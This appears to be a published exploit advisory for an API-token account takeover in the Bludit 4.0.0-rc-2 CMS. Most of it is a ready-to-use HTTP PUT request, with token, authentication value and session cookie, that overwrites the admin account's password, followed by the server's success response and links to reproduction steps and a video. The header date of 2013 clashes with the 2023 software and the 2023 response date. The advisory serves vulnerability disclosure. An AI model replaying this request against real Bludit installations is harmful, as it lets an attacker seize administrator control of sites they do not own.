Bludit 4.0.0-rc-2 Privilege Escalation

`## Title: Bludit-4.0.0-rc-2 - Release candidate 2 Account takeover:  
API token vulnerability  
## Author: nu11secur1ty  
## Date: 04.11.2013  
## Vendor: https://www.bludit.com/  
## Software: https://github.com/bludit/bludit/releases/tag/4.0.0-rc-2  
## Reference: https://www.cloudflare.com/learning/access-management/account-takeover/  
## Reference: https://portswigger.net/daily-swig/facebook-account-takeover-researcher-scoops-40k-bug-bounty-for-chained-exploit  
  
## Description:  
The already authenticated attacker can send a normal request to change  
his password and then he can use  
the same JSON `object` and the vulnerable `API token KEY` in the same  
request to change the admin account password.  
Then he can access the admin account and he can do very malicious stuff.  
  
STATUS: HIGH Vulnerability  
  
[+]Exploit:  
```PUT  
PUT /api/users/admin HTTP/1.1  
Host: 127.0.0.1:8000  
Content-Length: 138  
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"  
sec-ch-ua-platform: "Windows"  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50  
Safari/537.36  
content-type: application/json  
Accept: */*  
Origin: http://127.0.0.1:8000  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://127.0.0.1:8000/admin/edit-user/pwned  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: BLUDIT-KEY=98t31p2g0i7t6rscufuccpthui  
Connection: close  
  
{"token":"4f8df9f64e84fa4562ec3a604bf7985c","authentication":"6d1a5510a53f9d89325b0cd56a2855a9","username":"pwned","password":"password1"}  
  
```  
  
[+]Response:  
```HTTP  
HTTP/1.1 200 OK  
Host: 127.0.0.1:8000  
Date: Tue, 11 Apr 2023 08:33:51 GMT  
Connection: close  
X-Powered-By: PHP/7.4.30  
Access-Control-Allow-Origin: *  
Content-Type: application/json  
  
{"status":"0","message":"User edited.","data":{"key":"admin"}}  
```  
  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/bludit/2023/Bludit-v4.0.0-Release-candidate-2)  
  
## Proof and Exploit:  
[href](https://streamable.com/w3aa4d)  
  
## Time spend:  
00:57:00  
`